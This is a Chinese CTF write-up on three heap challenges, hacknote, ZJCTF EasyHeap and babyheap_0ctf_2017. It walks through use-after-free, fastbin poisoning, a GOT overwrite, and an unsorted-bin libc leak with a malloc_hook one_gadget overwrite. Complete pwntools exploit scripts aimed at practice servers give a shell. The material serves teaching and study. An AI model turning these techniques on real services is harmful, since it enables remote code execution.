0x00 以三道循序渐进的题目为例来分析吧。
0x01 hitcontraining_uaf / hacknote 复盘/uaf/heapoverflow 题目源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; char buf[4 ]; int *p_argc; p_argc = &argc; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); while ( 1 ) { while ( 1 ) { menu(); read(0 , buf, 4u ); v3 = atoi(buf); if ( v3 != 2 ) break ; del_note(); } if ( v3 > 2 ) { if ( v3 == 3 ) { print_note(); } else { if ( v3 == 4 ) exit (0 ); LABEL_13: puts ("Invalid choice" ); } } else { if ( v3 != 1 ) goto LABEL_13; add_note(); } } }
菜单题
1 2 3 4 5 6 7 8 9 10 11 12 int menu () { puts ("----------------------" ); puts (" HackNote " ); puts ("----------------------" ); puts (" 1. Add note " ); puts (" 2. Delete note " ); puts (" 3. Print note " ); puts (" 4. Exit " ); puts ("----------------------" ); return printf ("Your choice :" ); }
各个选项函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int add_note() { int result; // eax int v1; // esi char buf[8]; // [esp+0h] [ebp-18h] BYREF size_t size; // [esp+8h] [ebp-10h] int i; // [esp+Ch] [ebp-Ch] result = count; if ( count > 5 ) return puts("Full"); for ( i = 0; i <= 4; ++i ) { result = *((_DWORD *)¬elist + i); if ( !result ) { *((_DWORD *)¬elist + i) = malloc(8u); if ( !*((_DWORD *)¬elist + i) ) { puts("Alloca Error"); exit(-1); } **((_DWORD **)¬elist + i) = print_note_content; printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v1 = *((_DWORD *)¬elist + i); *(_DWORD *)(v1 + 4) = malloc(size); if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size); puts("Success !"); return ++count; } } return result; }
每个我们申请的chunk其实实现时申请了两个chunk,第一个数据区大小0x8储存print_note_content,一个函数,接下才是我们申请大小的chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int del_note () { int result; char buf[4 ]; int v2; printf ("Index :" ); read(0 , buf, 4u ); v2 = atoi(buf); if ( v2 < 0 || v2 >= count ) { puts ("Out of bound!" ); _exit(0 ); } result = *((_DWORD *)¬elist + v2); if ( result ) { free (*(void **)(*((_DWORD *)¬elist + v2) + 4 )); free (*((void **)¬elist + v2)); return puts ("Success" ); } return result; }
free后指针没有置NULL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int print_note () { int result; char buf[4 ]; int v2; printf ("Index :" ); read(0 , buf, 4u ); v2 = atoi(buf); if ( v2 < 0 || v2 >= count ) { puts ("Out of bound!" ); _exit(0 ); } result = *((_DWORD *)¬elist + v2); if ( result ) return (**((int (__cdecl ***)(_DWORD))¬elist + v2))(*((_DWORD *)¬elist + v2)); return result; }
然后发现有后门函数
1 2 3 4 int magic() { return system("/bin/sh"); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .text:08048945 magic proc near .text:08048945 .text:08048945 var_4 = dword ptr -4 .text:08048945 .text:08048945 ; __unwind { .text:08048945 push ebp .text:08048946 mov ebp, esp .text:08048948 push ebx .text:08048949 sub esp, 4 .text:0804894C call __x86_get_pc_thunk_ax .text:08048951 add eax, (offset _GLOBAL_OFFSET_TABLE_ - $) .text:08048956 sub esp, 0Ch .text:08048959 lea edx, (aBinSh - 804A000h)[eax] ; "/bin/sh" .text:0804895F push edx ; command .text:08048960 mov ebx, eax .text:08048962 call _system
位于0x8048945处 checksec看一眼
1 2 3 4 5 6 7 8 turing@LAPTOP-6JKPOVPE:~$ checksec hacknote [*] '/home/turing/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
很好,32位保护全关 delete_note函数存在uaf漏洞,我们先申请两个大小0x20(只要不等于0x8且在fastbin要求内即可,如果申请0x8的chunk,释放时会和存储print_note_content函数的chunk放在同一个fastbin中,后续便不好处理了)的chunk,chunk0和chunk1 再分别释放掉,这时其实释放了四个chunk,两两位于不同的fastbin中 只要我们再申请一个0x8大小的chunk,程序需要分配两个0x8的chunk,正好是chunk0和chunk1的函数chunk,然后我们写入magic函数的地址,便覆盖了chunk0的print_note_content函数,这时候再执行print chunk0时候就直接getshell了 exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.os='linux' context.arch='i386' context.log_level='debug' r=remote('node5.buuoj.cn' ,29391 ) shell_add=0x08048945 def add (size,content ): r.sendlineafter(b'Your choice :' ,b'1' ) r.sendlineafter(b'Note size :' ,str (size)) r.sendlineafter(b'Content :' ,content) def free (num ): r.sendlineafter(b'Your choice :' ,b'2' ) r.sendlineafter(b'Index :' ,str (num)) def put (num ): r.sendlineafter(b'Your choice :' ,b'3' ) r.sendlineafter(b'Index :' ,str (num)) add(0x20 ,b'aaaa' ) add(0x20 ,b'aaaa' ) free(0 ) free(1 ) add(0x8 ,p64(shell_add)) put(0 ) r.interactive()
0x02 [ZJCTF 2019]EasyHeap 复盘/fastbin attack/got表覆写/heapoverflow 题目源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { int v3; char buf[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); while ( 1 ) { while ( 1 ) { menu(); read(0 , buf, 8uLL ); v3 = atoi(buf); if ( v3 != 3 ) break ; delete_heap(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit (0 ); if ( v3 == 4869 ) { if ( (unsigned __int64)magic <= 0x1305 ) { puts ("So sad !" ); } else { puts ("Congrt !" ); l33t(); } } else { LABEL_17: puts ("Invalid Choice" ); } } else if ( v3 == 1 ) { create_heap(); } else { if ( v3 != 2 ) goto LABEL_17; edit_heap(); } } }
注意到有一个奇怪的函数l33t(),如下
1 2 3 4 int l33t () { return system("cat /home/pwn/flag" ); }
其实在这题没有用,这个路径不存在,不用管了 菜单如下
1 2 3 4 5 6 7 8 9 10 11 12 int menu () { puts ("--------------------------------" ); puts (" Easy Heap Creator " ); puts ("--------------------------------" ); puts (" 1. Create a Heap " ); puts (" 2. Edit a Heap " ); puts (" 3. Delete a Heap " ); puts (" 4. Exit " ); puts ("--------------------------------" ); return printf ("Your choice :" ); }
各个选项函数如下 creat_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 unsigned __int64 create_heap () { int i; size_t size; char buf[8 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); for ( i = 0 ; i <= 9 ; ++i ) { if ( !*(&heaparray + i) ) { printf ("Size of Heap : " ); read(0 , buf, 8uLL ); size = atoi(buf); *(&heaparray + i) = malloc (size); if ( !*(&heaparray + i) ) { puts ("Allocate Error" ); exit (2 ); } printf ("Content of heap:" ); read_input(*(&heaparray + i), size); puts ("SuccessFul" ); return __readfsqword(0x28u ) ^ v4; } } return __readfsqword(0x28u ) ^ v4; }
edit_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 edit_heap () { int v1; __int64 v2; char buf[8 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( (unsigned int )v1 >= 0xA ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&heaparray + v1) ) { printf ("Size of Heap : " ); read(0 , buf, 8uLL ); v2 = atoi(buf); printf ("Content of heap : " ); read_input(*(&heaparray + v1), v2); puts ("Done !" ); } else { puts ("No such heap !" ); } return __readfsqword(0x28u ) ^ v4; }
存在溢出 delete_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 unsigned __int64 delete_heap () { int v1; char buf[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( (unsigned int )v1 >= 0xA ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&heaparray + v1) ) { free (*(&heaparray + v1)); *(&heaparray + v1) = 0LL ; puts ("Done !" ); } else { puts ("No such heap !" ); } return __readfsqword(0x28u ) ^ v3; }
指针置NULL了,无法uaf 先放exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context.os='linux' context.arch='amd64' context.log_level='debug' r=remote('node5.buuoj.cn' ,26323 ) elf=ELF('./easyheap' ) def add (size,content ): r.sendlineafter(b'Your choice :' ,str (1 )) r.sendlineafter(b'Size of Heap :' ,str (size)) r.sendlineafter(b'Content of heap:' ,content) def edit (idx,size,content ): r.sendlineafter(b'Your choice :' ,str (2 )) r.sendlineafter(b'Index :' ,str (idx)) r.sendlineafter(b'Size of Heap :' ,str (size)) r.sendlineafter(b'Content of heap :' ,content) def free (idx ): r.sendlineafter(b'Your choice :' ,str (3 )) r.sendlineafter(b'Index :' ,str (idx)) def exit (): r.sendlineafter(b'Your choice :' ,str (4 )) heaparray_add=0x06020e0 free_got=elf.got['free' ] sys_plt=elf.plt['system' ] add(0x60 ,b'aaaa' ) add(0x60 ,b'aaaa' ) add(0x60 ,b'aaaa' ) free(2 ) payload=b'/bin/sh\x00' +b'a' *0x60 + p64(0x71 ) + p64(heaparray_add-0x33 ) edit(1 ,len (payload),payload) add(0x60 ,b'aaaa' ) add(0x60 ,b'aaaa' ) payload2=b'a' *0x23 +p64(free_got) edit(3 ,len (payload2),payload2) payload3=p64(sys_plt) edit(0 ,len (payload3),payload3) free(1 ) r.interactive()
checksec看一眼
1 2 3 4 5 6 7 8 turing@LAPTOP-6JKPOVPE:~$ checksec easyheap [*] '/home/turing/easyheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000) Stripped: No
无PIE且got表可写 无法uaf,无法double free,但可以多次申请堆块,存在溢出,这里考虑fastbin attack关于double free,因为fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空,且fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证(在glibc2.29+版本,当chunk将要被放到tcache bin中时,其key字段(fd之后的0x8字节)会被设置为特定值,当free某个chunk时,会检查对应tcachebin中的chunk有无key值与待释放的chunk相等的,如果有则触发安全检测报错,无则free。且当chunk从tcachebin中取出时,key字段会被置为NULL) ,我们考虑chunk1和chunk2,先后free掉chunk1和chunk2,然后再次free chunk2时,便不会被检测到,因为第二次释放chunk2时,fastbin头部是chunk1。 在这个过程中,fastbin这样变化
不同于unsorted bin,fastbin中取出chunk是从头部开始取的,放入也是头部插入 ,所以此时我们再申请一个同样大小的chunk,便会返回chunk1,这时我们便可以修改chunk1的fd域,伪造一个fake_heap(因为被双重释放,chunk1可以看做还在fastbin里,接在chunk2后),然后我们再申请申请一个同样大小的chunk,返回chunk2,再申请一个同样大小的chunk,返回chunk1,,这时再申请申请一个同样大小的chunk时,便会返回我们想要控制的fake_heap,实现任意地址写(其实需要布置fake_heap的size域使得满足fastbin的要求) 这里无法double free,也不能uaf,怎么实现fastbin attack呢?利用溢出就好了,其实无论是uaf,还是double free,还是溢出,都是实现对fastbin中的chunk进行修改,来实现申请回我们控制地址的fake_heap 我们回到题目,此题利用heaparray指针数组来索引各个堆块,我们可以直接在ida中看到heaparray的起始地址
1 .bss:00000000006020E0 heaparray dq ? ; DATA XREF: create_heap+30↑r
地址为0x6020e0,我们先申请三个堆块,heaparray[0]指向的便是chunk0。我们再edit chunk0时,是利用heaparray[0]索引的,如果我们先把/bin/sh写入chunk1,再修改heaparray[0]为free的got表地址,此时edit chunk0时其实就是在修改free的got表项,改为system函数后,我们再free chunk1时,其实就是执行system(“/bin/sh”); 于是我们先申请chunk0,chunk1,chunk2,free掉chunk2,再edit chunk1溢出修改chunk2的fd(在bin中的chunk堆头后的数据区的前0x8字节就是fd指针)为heaparray之前的某个地址,我们需要在heaparray附近寻找合适的位置,使得fake_chunk的size域满足fastbin的要求 在更高版本的glibc(2.28+)中,fastbin会检查放入和取出的chunk严格满足对应fastbin的size,相同size的chunk才置于同一个fastbin,部分源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (__glibc_unlikely (chunksize_nomask (victim) != size)) { malloc_printerr ("malloc(): invalid fastbin size" ); } if (__glibc_unlikely (fastbin_index (size) != idx)) { malloc_printerr ("malloc(): memory corruption (fast)" ); } if (__glibc_unlikely (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ) || __glibc_unlikely (nextsize >= av->system_mem)) { malloc_printerr ("malloc(): invalid next size (fast)" ); }
此题版本为2.23,早期glibc并不会严格检查fake_chunk的size,索引满足即可。在glibc2.23检查的部分源码如下
1 2 3 4 5 6 7 8 9 10 11 if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0 )) { errstr = "malloc(): memory corruption (fast)" ; goto errout; } if (__builtin_expect(chunksize_nomask(chunk_at_offset(victim, size)) <= 2 * SIZE_SZ, 0 ) || __builtin_expect(chunksize(chunk_at_offset(victim, size)) >= av->system_mem, 0 )) { goto errout; }
可以看出并没有对size的严格检查。其中,检查1的index计算方式如下
此题我们找到这个heaparray-0x33这个地址
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/20gx 0x6020e0-0x33 0x6020ad: 0xfff7bc38e0000000 0x000000000000007f 0x6020bd: 0x0000000000000000 0x0000000000000000 0x6020cd: 0x0000000000000000 0x0000000000000000 0x6020dd: 0x0000603010000000 0x0000603030000000 0x6020ed <heaparray+13>: 0x0000603050000000 0x0000000000000000 0x6020fd <heaparray+29>: 0x0000000000000000 0x0000000000000000 0x60210d <heaparray+45>: 0x0000000000000000 0x0000000000000000 0x60211d <heaparray+61>: 0x0000000000000000 0x0000000000000000 0x60212d <heaparray+77>: 0x0000000000000000 0x0000000000000000 0x60213d: 0x0000000000000000 0x0000000000000000
发现这个位置的fake_chunk的size域为0x7f,索引(0x7f>>4)-2=5=(0x70>>4)-2,对于0x70大小的fastbin可以通过检查。至于下一个chunk的size,这个fake_chunk的fd域为0,自然不用考虑了。于是利用这个fake_chunk来修改heaparray[0]。 注意在edit chunk1来溢出修改chunk2的fd域时,要保证chunk2的size域为0x71不变以防从fastbin申请回chunk2时出现异常
0x03 babyheap_0ctf_2017 复现/unsorted bin leak/fastbin attack/one_gadget/malloc_hook/heapoverflow 题目源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __int64 __fastcall main (char *a1, char **a2, char **a3) { char *v4; v4 = sub_B70(); while ( 1 ) { menu(a1, a2); switch ( sub_138C() ) { case 1LL : a1 = v4; Allocate((__int64)v4); break ; case 2LL : a1 = v4; Edit(v4); break ; case 3LL : a1 = v4; Free(v4); break ; case 4LL : a1 = v4; Dump(v4); break ; case 5LL : return 0LL ; default : continue ; } } }
Allocate函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 void __fastcall sub_D48 (__int64 a1) { int i; int v2; void *v3; for ( i = 0 ; i <= 15 ; ++i ) { if ( !*(_DWORD *)(24LL * i + a1) ) { printf ("Size: " ); v2 = sub_138C(); if ( v2 > 0 ) { if ( v2 > 4096 ) v2 = 4096 ; v3 = calloc (v2, 1uLL ); if ( !v3 ) exit (-1 ); *(_DWORD *)(24LL * i + a1) = 1 ; *(_QWORD *)(a1 + 24LL * i + 8 ) = v2; *(_QWORD *)(a1 + 24LL * i + 16 ) = v3; printf ("Allocate Index %d\n" , (unsigned int )i); } return ; } } }
此题中这些堆操作函数中的sub_138c函数功能是将输入的字符串转为数字,这里就不放这个函数的源码了 循环16次,存在16个可用空间。每次申请i从0到15循环,找到未被使用且满足要求的chunk,并返回对应的i作为index编号 Edit函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 __fastcall sub_E7F (__int64 a1) { __int64 result; int v2; int v3; printf ("Index: " ); result = sub_138C(); v2 = result; if ( (unsigned int )result <= 0xF ) { result = *(unsigned int *)(24LL * (int )result + a1); if ( (_DWORD)result == 1 ) { printf ("Size: " ); result = sub_138C(); v3 = result; if ( (int )result > 0 ) { printf ("Content: " ); return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16 ), v3); } } } return result; }
再次要求输入size,不限制输入大小,可以堆溢出 Free函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 __int64 __fastcall sub_F50 (__int64 a1) { __int64 result; int v2; printf ("Index: " ); result = sub_138C(); v2 = result; if ( (unsigned int )result <= 0xF ) { result = *(unsigned int *)(24LL * (int )result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0 ; *(_QWORD *)(24LL * v2 + a1 + 8 ) = 0LL ; free (*(void **)(24LL * v2 + a1 + 16 )); result = 24LL * v2 + a1; *(_QWORD *)(result + 16 ) = 0LL ; } } return result; }
释放后指针置0,不能uaf,但可以双重释放进行fastbin attack fee后对应的记录该chunk是否被使用的值会被重新设置为0 Dump函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __fastcall sub_1051 (__int64 a1) { int result; int v2; printf ("Index: " ); result = sub_138C(); v2 = result; if ( (unsigned int )result <= 0xF ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts ("Content: " ); sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16 ), *(_QWORD *)(24LL * v2 + a1 + 8 )); return puts (byte_14F1); } } return result; }
打印堆块内容,可以用于泄露fd指针
先放exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *context.os='linux' context.arch='amd64' context.log_level='debug' libc=ELF('/home/turing/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so' ) io=remote('node5.buuoj.cn' ,28809 ) def alloc (size ): io.recvuntil(b"Command: " ) io.sendline(b'1' ) io.recvuntil(b"Size: " ) io.sendline(str (size)) def fill (idx,size,content ): io.recvuntil(b"Command: " ) io.sendline(b'2' ) io.recvuntil(b"Index: " ) io.sendline(str (idx)) io.recvuntil(b"Size: " ) io.sendline(str (size)) io.recvuntil(b"Content: " ) io.sendline(content) def free (idx ): io.recvuntil(b"Command: " ) io.sendline(b'3' ) io.recvuntil(b"Index: " ) io.sendline(str (idx)) def dump (idx ): io.recvuntil(b"Command: " ) io.sendline(b'4' ) io.recvuntil(b"Index: " ) io.sendline(str (idx)) alloc(0x10 ) alloc(0x10 ) alloc(0x10 ) alloc(0x10 ) alloc(0x80 ) free(1 ) free(2 ) payload=p64(0 )*3 +p64(0x21 )+p64(0 )*3 +p64(0x21 )+p8(0x80 ) fill(0 ,len (payload),payload) payload=p64(0 )*3 +p64(0x21 ) fill(3 ,len (payload),payload) alloc(0x10 ) alloc(0x10 ) payload=p64(0 )*3 +p64(0x91 ) fill(3 ,len (payload),payload) alloc(0x80 ) free(4 ) dump(2 ) leak_hook=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-88 -0x10 libcbase=leak_hook-0x3c4b78 +88 +0x10 one_gadget_offset=0x4526a getshell=libcbase+one_gadget_offset alloc(0x60 ) free(4 ) payload=p64(leak_hook-35 ) fill(2 ,len (payload),payload) alloc(0x60 ) alloc(0x60 ) payload=b'a' *(35 -0x10 )+p64(getshell) fill(6 ,len (payload),payload) alloc(0x60 ) io.interactive()
因为用笔者本地的libc-2.23.so调试出来的部分偏移与远程有一点偏差,所以有些地方的偏移直接用了其他师傅的 checksec看一眼
1 2 3 4 5 6 7 turing@LAPTOP-6JKPOVPE:~$ checksec babyheap_0ctf_2017 [*] '/home/turing/babyheap_0ctf_2017' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
很好,64位保护全开 我们照着exp一步步走,先申请0123四个大小0x10(实际为0x20)的堆块,然后再申请大小0x80(实际为0x90)的堆块。关于chunk大小:前0x8字节为pre_size,接下0x8字节为size域,存储chunk大小。而其实size域的低3bit是标志位,size域存储的原始数值并不是chunk的真正大小,而应该把size域低3bit清零才是 。所以堆块0123的size域其实是0x21,低3bit清零后为0x20,chunk实际大小为0x20。其他chunk也同理。 回到题目,先把1和2代表的chunk给free,送入了fastbin(此题glibc版本还未引入tcachebin),接下里chunk0便是修改chunk2的源头,利用选项2,Edit函数的堆溢出漏洞,将chunk2的fd指针修改,只修改了最低一字节为0x80,因为这几个chunk的地址前几个字节部分都是一致的(调试一下就知道了),这样修改后fastbin中的chunk2的fd便指向了chunk4,然后再利用chunk3的溢出来修改chunk4的size域为0x21,以伪造出chunk4在fastbin中的假象。接下来重新将chunk1和chunk2申请回来,注意此时在fastbin链表中chunk2为第一个chunk,而chunk4被伪装成了下一个chunk,所以申请时index=1得到的chunk为原来的chunk2,而index=2申请到的堆块其实时chunk4 此时我们发现index=2和index=4都指向了同一个chunk4。这样chunk4在被释放后仍然可以通过index=2访问到。接下来我们要把chunk4放入unsortedbin(程序free时,如果chunk不满足fastbin要求,则会放入unsorted Bin ,其在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取,在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中 ),于是乎我们再次利用chunk3溢出来修改chunk4的size域变回0x91,然后free掉chunk4这里要注意,程序free一个chunk时会检查其下一个chunk,如果这个释放的chunk与top chunk相邻,则会被top chunk合并 。 所以我们释放chunk4前先随便申请一个不会影响我们的chunk5,防止chunk4被free时合并进top chunk 这样chunk4进入了unsorted bin,unsorted bin是一个循环双链表
正因为其是一个双向循环链表,可以看到unsorted bin中最早被释放chunk的fd指针会指向main_arena的某一块(与main_arena起始地址存在偏移),如果我们可以把正确的 fd 指针 leak 出来,就可以获得一个与 main_arena 有固定偏移的地址,这个偏移可以通过调试得出。而main_arena 是一个 struct malloc_state 类型的全局变量,是 ptmalloc 管理主分配区的唯一实例。说到全局变量,立马可以想到他会被分配在 .data 或者 .bss 等段上,我们就可以获得 main_arena 与 libc 基地址的偏移,泄露libc 主要有两个泄露main_arena地址的方法。一是malloc_trim这个函数直接访问了main_arena地址,我们用ida分析一下对应的.so文件直接就能得到main_arena地址 二是利用malloc_hook函数,这个函数和main_arena 的地址差是 0x10,而大多数的 libc 都可以直接查出 __malloc_hook 的地址,这样可以大幅减小工作量。以 pwntools 为例
1 main_arena_offset = ELF("libc.so.6" ).symbols["__malloc_hook" ] + 0x10
这个0x10的偏移不会变。回到题目,我们利用index=2访问在unsorted bin中的chunk4,打印出其数据,成功泄露其fd指针,再调试程序得到泄露地址与main_arena的偏移88,于是malloc_hook的地址我们便得到了。此时libcbase便可以计算出了。malloc_hook函数是一个危险的函数,在程序调用malloc,realloc函数时都会先执行malloc_hook函数 ,于是我们再利用fastbin attack,修改malloc_hook函数地址为我们利用one_gadget工具找到的可以直接getshell的地址,便大功告成了 因为我们此时index=2也指向chunk4,实际上实现了uaf漏洞,于是我们要把chunk4放入fastbin,但chunk4太大了,且此时仍在unsortedbin中,于是我们再申请一个0x60的chunk,实际上这时候fastbin中没有chunk,返回的便是unsorted bin中别分割的chunk4,且index=4,chunk4剩余的0x20仍在unsorted bin中 然后我们再free掉chunk4,chunk4便如愿以偿的进入了fastbin,接下来利用uaf进行fastbin attack,最后再申请一个chunk以执行malloc_hook便成功getshell